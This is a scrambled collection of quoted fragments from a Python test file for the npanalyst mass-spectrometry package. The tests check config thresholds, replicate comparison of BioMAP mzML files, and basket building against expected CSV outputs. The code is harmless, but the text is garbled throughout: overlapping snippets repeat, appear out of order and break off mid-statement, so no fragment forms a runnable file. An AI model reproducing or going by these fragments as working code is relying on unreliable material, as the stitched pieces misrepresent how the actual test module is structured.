"ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"]",
"function also for tempfile.TemporaryDirectory() which # # is the nicer context manager option.",
"file. A full dataframe by dataframe comparison is performed to ensure identical csv",
"Create temporary folder for result and test files tmpdir = tempfile.mkdtemp() # #",
"zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False,",
"assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define relative path to input",
"reads the respective dataframe and compares the two files.\"\"\" result_table = pd.read_csv(reference_path) #",
"replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # #",
"# Python 3.11 seems to enable the ignore_errors function also for tempfile.TemporaryDirectory() which",
"== (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate",
"\"data/basketed_mzml.csv\" # # Test config settings (ms parameter and AS and CS threshold)",
"len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925 # # Get replicated zip output file",
"for basket building step. A folder with expected replicate-compared output CSVs is used",
"zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files from the expected results",
"HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\"",
"the produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\",",
"to input files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE /",
"\"basketed.csv\"), ) # # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__",
"= os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated files with the produced",
"length == 925 # # Get replicated zip output file with expected output",
"output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) #",
"# Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe and",
"test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert",
"assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for",
"< 0.1 # # Define relative path to input files HERE = Path(__file__).parent",
"\"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare",
"Compare the expected replicated files with the produced files for rep in replicate_file_names:",
"expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\"))",
"ordered properly and error messages are # # due to wrong values, not",
"files tmpdir = tempfile.mkdtemp() # # Open and extract zip file that contains",
"# # Test length of generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\")))",
"# is the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test",
"folder with expected replicate-compared output CSVs is used as the input. The resulting",
"zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the expected basketed",
"to assure that rows are ordered properly and error messages are # #",
"# Get replicated zip output file with expected output files and extract them",
"Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # #",
"<gh_stars>1-10 import os import tempfile from pathlib import Path from zipfile import ZipFile",
"files tmpdir = tempfile.mkdtemp() # # Get replicated zip output file with expected",
"Basketed CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test config",
"produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep),",
"for the replicate comparison step. The BioMAP mzML dataset is used to generate",
"the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": # # start",
"workers=-2, verbose=False, config=None, ) # # Test length of generated replicated files (=925)",
"resulting basket.csv file is compared to an expected output file. A full dataframe",
"pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] -",
"expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing(",
"output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test length of generated replicated files",
"to generate the replicate-compared csv files. A full dataframe by dataframe comparison is",
"ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files from",
"step. A folder with expected replicate-compared output CSVs is used as the input.",
"CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee that the loaded settings are",
"from pandas._testing import assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function",
"def test_config_parameter(): \"\"\"This test shall guarantee that the loaded settings are identical to",
"temporary folder. Windows would not delete all files. # # Python 3.11 seems",
"dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary folder.",
"\"\"\"Test for basket building step. A folder with expected replicate-compared output CSVs is",
"result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\",",
"The resulting basket.csv file is compared to an expected output file. A full",
"with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) #",
"pathlib import Path from zipfile import ZipFile import shutil import pandas as pd",
"respective dataframe and compares the two files.\"\"\" result_table = pd.read_csv(reference_path) # # This",
"comparison is performed to ensure identical csv files.\"\"\" # # Create temporary folder",
"comparison step. The BioMAP mzML dataset is used to generate the replicate-compared csv",
"properly and error messages are # # due to wrong values, not due",
"BioMAP mzML dataset is used to generate the replicate-compared csv files. A full",
"replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated files with the",
"30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test",
"the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove the temp",
"# shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step. A folder with",
"assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert",
"identical csv files.\"\"\" # # Create temporary folder for result and test files",
"basket building step. A folder with expected replicate-compared output CSVs is used as",
"\"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # #",
"and test files tmpdir = tempfile.mkdtemp() # # Get replicated zip output file",
"file is compared to an expected output file. A full dataframe by dataframe",
"configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert",
"test_path): \"\"\"This function reads the respective dataframe and compares the two files.\"\"\" result_table",
"manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step. A",
"\"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed",
"functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe and compares the",
"inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] -",
"tempfile.mkdtemp() # # Open and extract zip file that contains the 2775 mzML",
"== 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"]",
"dataset is used to generate the replicate-compared csv files. A full dataframe by",
"A full dataframe by dataframe comparison is performed to ensure identical csv files.\"\"\"",
"Windows would not delete all files. # # Python 3.11 seems to enable",
"2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform",
"== 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The BioMAP mzML",
"import Path from zipfile import ZipFile import shutil import pandas as pd import",
"building step. A folder with expected replicate-compared output CSVs is used as the",
"\"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files from the",
"= tempfile.mkdtemp() # # Open and extract zip file that contains the 2775",
"ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True )",
"0.1 # # Define relative path to input files HERE = Path(__file__).parent #",
"folder. Windows would not delete all files. # # Python 3.11 seems to",
"import os import tempfile from pathlib import Path from zipfile import ZipFile import",
"HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\"",
"not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table",
"dataframe and compares the two files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting",
") # # Test length of generated replicated files (=925) length = len(os.listdir(Path(tmpdir,",
"also for tempfile.TemporaryDirectory() which # # is the nicer context manager option. #",
"temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": # # start =",
"with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files",
"as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the",
"# Test config settings (ms parameter and AS and CS threshold) def test_config_parameter():",
"basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # #",
"replicate-compared output CSVs is used as the input. The resulting basket.csv file is",
"shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step. A folder with expected",
"two files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting is just a safe-guard",
"and extract zip file that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\")",
"the nicer context manager option. # shutil.rmtree(tmpdir, ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket",
"with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir,",
"as pd import numpy as np import time from npanalyst import configuration, cli",
"by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) <",
"Remove temporary folder. Windows would not delete all files. # # Python 3.11",
"output file. A full dataframe by dataframe comparison is performed to ensure identical",
"mzML dataset is used to generate the replicate-compared csv files. A full dataframe",
"rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # #",
"comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test length",
"from npanalyst import configuration, cli from pandas._testing import assert_series_equal # # Helper functions",
"CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED =",
"# This resorting is just a safe-guard to assure that rows are ordered",
"length of generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length ==",
"0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\",",
"the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert",
"safe-guard to assure that rows are ordered properly and error messages are #",
"due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table =",
"INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE",
") test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"])",
"/ \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" #",
"# # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\":",
"= time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() # #",
"identical to those, used to obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None)",
"time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This",
"is compared to an expected output file. A full dataframe by dataframe comparison",
"= HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE /",
"file that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir,",
"start = time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() #",
"# # This resorting is just a safe-guard to assure that rows are",
"from zipfile import ZipFile import shutil import pandas as pd import numpy as",
"/ \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" #",
"# # Compare the expected basketed file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED),",
"to ensure identical csv files.\"\"\" # # Create temporary folder for result and",
"- test_table[\"RetTime\"]) < 0.1 # # Define relative path to input files HERE",
"as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files from the expected",
"ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir,",
"# test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing took: {(time.time() - start)",
"np import time from npanalyst import configuration, cli from pandas._testing import assert_series_equal #",
"# # Catch all csv files from the expected results replicate_file_names = os.listdir(Path(tmpdir,",
"results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3",
"contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) #",
"configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"]",
"configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The BioMAP",
"output OUTPUT_FILE_BASKETED = HERE / \"data/basketed_mzml.csv\" # # Test config settings (ms parameter",
"replicated zip output file with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED),",
"input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None, ) # # Test length of generated",
"test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1",
"file with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip:",
"file with the produced file dataframe_assertion( reference_path=Path(OUTPUT_FILE_BASKETED), test_path=Path(tmpdir, \"basketed.csv\"), ) # # Remove",
"used to generate the replicate-compared csv files. A full dataframe by dataframe comparison",
"the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated",
"# # test_mzml_basket_building() # # print(f\"This testing took: {(time.time() - start) / 60:.2f}",
"zip file that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip:",
"just a safe-guard to assure that rows are ordered properly and error messages",
"\"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert",
"\"\"\"This function reads the respective dataframe and compares the two files.\"\"\" result_table =",
"# Open and extract zip file that contains the 2775 mzML files with",
"OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED = HERE",
"that rows are ordered properly and error messages are # # due to",
"Path(__file__).parent # mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed",
"test shall guarantee that the loaded settings are identical to those, used to",
"__name__ == \"__main__\": # # start = time.time() # # test_mzml_basket_building() # #",
"settings are identical to those, used to obtain the reference/ground truth results.\"\"\" configd",
"ignore_errors function also for tempfile.TemporaryDirectory() which # # is the nicer context manager",
"# # Open and extract zip file that contains the 2775 mzML files",
"the two files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting is just a",
"= tempfile.mkdtemp() # # Get replicated zip output file with expected output files",
"guarantee that the loaded settings are identical to those, used to obtain the",
"tmpdir = tempfile.mkdtemp() # # Open and extract zip file that contains the",
"results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected replicated files with",
"the loaded settings are identical to those, used to obtain the reference/ground truth",
"# # Create temporary folder for result and test files tmpdir = tempfile.mkdtemp()",
"replicate comparison step. The BioMAP mzML dataset is used to generate the replicate-compared",
"assert length == 925 # # Get replicated zip output file with expected",
"wrong values, not due to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True",
"0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step.",
"relative path to input files HERE = Path(__file__).parent # mzML files INPUT_MZML_FILES =",
"basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV file output OUTPUT_FILE_BASKETED",
"to interchanged rows result_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path))",
"test_mzml_basket_building(): \"\"\"Test for basket building step. A folder with expected replicate-compared output CSVs",
"as np import time from npanalyst import configuration, cli from pandas._testing import assert_series_equal",
"not delete all files. # # Python 3.11 seems to enable the ignore_errors",
"= pd.read_csv(reference_path) # # This resorting is just a safe-guard to assure that",
"assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) <",
"zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None ) # # Compare the expected",
") # # Remove the temp folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ ==",
"# Catch all csv files from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\"))",
"import pandas as pd import numpy as np import time from npanalyst import",
"Open and extract zip file that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES),",
"folder shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": # # start = time.time()",
"# # Test config settings (ms parameter and AS and CS threshold) def",
"mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED",
"HERE / \"data/basketed_mzml.csv\" # # Test config settings (ms parameter and AS and",
"of generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length == 925",
"(\"window\", 0.03) assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison",
"# # Python 3.11 seems to enable the ignore_errors function also for tempfile.TemporaryDirectory()",
"loaded settings are identical to those, used to obtain the reference/ground truth results.\"\"\"",
"# mzML files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs",
"function reads the respective dataframe and compares the two files.\"\"\" result_table = pd.read_csv(reference_path)",
"2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] ==",
"and error messages are # # due to wrong values, not due to",
"result and test files tmpdir = tempfile.mkdtemp() # # Open and extract zip",
"== \"__main__\": # # start = time.time() # # test_mzml_basket_building() # # test_mzml_replicate_comparison()",
"files with the produced files for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep),",
"\"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1",
"them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir)) cli.run_basketing( input_path=Path(tmpdir), output_path=Path(tmpdir), verbose=False, config=None )",
"assert configd[\"ERRORINFO\"][\"PrecMz\"] == (\"ppm\", 30.0) assert configd[\"ERRORINFO\"][\"RetTime\"] == (\"window\", 0.03) assert configd[\"MININTENSITY\"] ==",
"# Create temporary folder for result and test files tmpdir = tempfile.mkdtemp() #",
"those, used to obtain the reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert",
"cli from pandas._testing import assert_series_equal # # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This",
"tmpdir = tempfile.mkdtemp() # # Get replicated zip output file with expected output",
"files.\"\"\" result_table = pd.read_csv(reference_path) # # This resorting is just a safe-guard to",
"assure that rows are ordered properly and error messages are # # due",
"configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"]",
"np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define relative path to input files",
"zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all csv files from the expected results replicate_file_names",
"# Test length of generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert",
"assert configd[\"MININTENSITY\"] == 2e3 def test_mzml_replicate_comparison(): \"\"\"Test for the replicate comparison step. The",
"ignore_errors=True) def test_mzml_basket_building(): \"\"\"Test for basket building step. A folder with expected replicate-compared",
"def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe and compares the two",
"compared to an expected output file. A full dataframe by dataframe comparison is",
"# # Helper functions def dataframe_assertion(reference_path, test_path): \"\"\"This function reads the respective dataframe",
"\"RetTime\"], ignore_index=True, inplace=True ) test_table = pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True",
"if __name__ == \"__main__\": # # start = time.time() # # test_mzml_basket_building() #",
"Path from zipfile import ZipFile import shutil import pandas as pd import numpy",
"Test length of generated replicated files (=925) length = len(os.listdir(Path(tmpdir, \"replicated\"))) assert length",
") # # Compare the expected basketed file with the produced file dataframe_assertion(",
"a safe-guard to assure that rows are ordered properly and error messages are",
"shall guarantee that the loaded settings are identical to those, used to obtain",
"extract zip file that contains the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as",
"ignore_errors=True) # if __name__ == \"__main__\": # # start = time.time() # #",
"# Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED = HERE / \"data/replicated_mzml_result.zip\" # Basketed CSV",
"expected output file. A full dataframe by dataframe comparison is performed to ensure",
"= pd.read_csv(Path(test_path)) test_table.sort_values( by=[\"UniqueFiles\", \"PrecMz\", \"RetTime\"], ignore_index=True, inplace=True ) assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"]",
"pd.read_csv(reference_path) # # This resorting is just a safe-guard to assure that rows",
"would not delete all files. # # Python 3.11 seems to enable the",
"\"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir), workers=-2, verbose=False, config=None,",
"reference/ground truth results.\"\"\" configd = configuration.load_config(config_path=None) print(configd) assert configd[\"ACTIVITYTHRESHOLD\"] == 2 assert configd[\"CLUSTERTHRESHOLD\"]",
"import configuration, cli from pandas._testing import assert_series_equal # # Helper functions def dataframe_assertion(reference_path,",
"the 2775 mzML files with ZipFile(Path(INPUT_MZML_FILES), \"r\") as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # #",
"reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) # # Remove temporary folder. Windows",
"for rep in replicate_file_names: dataframe_assertion( reference_path=Path(tmpdir, \"expected_replicated_results\", rep), test_path=Path(tmpdir, \"replicated\", rep), ) #",
"temporary folder for result and test files tmpdir = tempfile.mkdtemp() # # Open",
"rep), ) # # Remove temporary folder. Windows would not delete all files.",
"temporary folder for result and test files tmpdir = tempfile.mkdtemp() # # Get",
"shutil.rmtree(tmpdir, ignore_errors=True) # if __name__ == \"__main__\": # # start = time.time() #",
"< 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 # # Define relative path",
"from the expected results replicate_file_names = os.listdir(Path(tmpdir, \"expected_replicated_results\")) # # Compare the expected",
"the respective dataframe and compares the two files.\"\"\" result_table = pd.read_csv(reference_path) # #",
"error messages are # # due to wrong values, not due to interchanged",
"assert configd[\"CLUSTERTHRESHOLD\"] == 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert",
"(ms parameter and AS and CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee",
"are # # due to wrong values, not due to interchanged rows result_table.sort_values(",
"\"\"\"This test shall guarantee that the loaded settings are identical to those, used",
") assert_series_equal(result_table[\"UniqueFiles\"], test_table[\"UniqueFiles\"]) assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"])",
"that the loaded settings are identical to those, used to obtain the reference/ground",
"assert np.sum(result_table[\"PrecMz\"] - test_table[\"PrecMz\"]) < 0.1 assert np.sum(result_table[\"RetTime\"] - test_table[\"RetTime\"]) < 0.1 #",
"is used to generate the replicate-compared csv files. A full dataframe by dataframe",
"zip output file with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\")",
"as zip: zip.extractall(Path(tmpdir, \"mzml_files\")) # # Perform replicate comparison cli.run_replicate( input_path=Path(tmpdir, \"mzml_files\"), output_path=Path(tmpdir),",
"is used as the input. The resulting basket.csv file is compared to an",
"replicate-compared csv files. A full dataframe by dataframe comparison is performed to ensure",
"with expected output files and extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir))",
"pandas as pd import numpy as np import time from npanalyst import configuration,",
"parameter and AS and CS threshold) def test_config_parameter(): \"\"\"This test shall guarantee that",
"# test_mzml_basket_building() # # test_mzml_replicate_comparison() # # test_mzml_basket_building() # # print(f\"This testing took:",
"extract them with ZipFile(Path(OUTPUT_FILE_REPLICATED), \"r\") as zip: zip.extractall(Path(tmpdir, \"expected_replicated_results\")) # # Catch all",
"files INPUT_MZML_FILES = HERE / \"data/BioMAP_mzml_input.zip\" # Replicate compared basketed CSVs OUTPUT_FILE_REPLICATED =",
"\"expected_replicated_results\")) # # Compare the expected replicated files with the produced files for",
"== 0.3 assert configd[\"MINREPSREPLICATES\"] == 2 assert configd[\"MINREPSBASKETS\"] == 1 assert configd[\"ERRORINFO\"][\"PrecMz\"] ==",
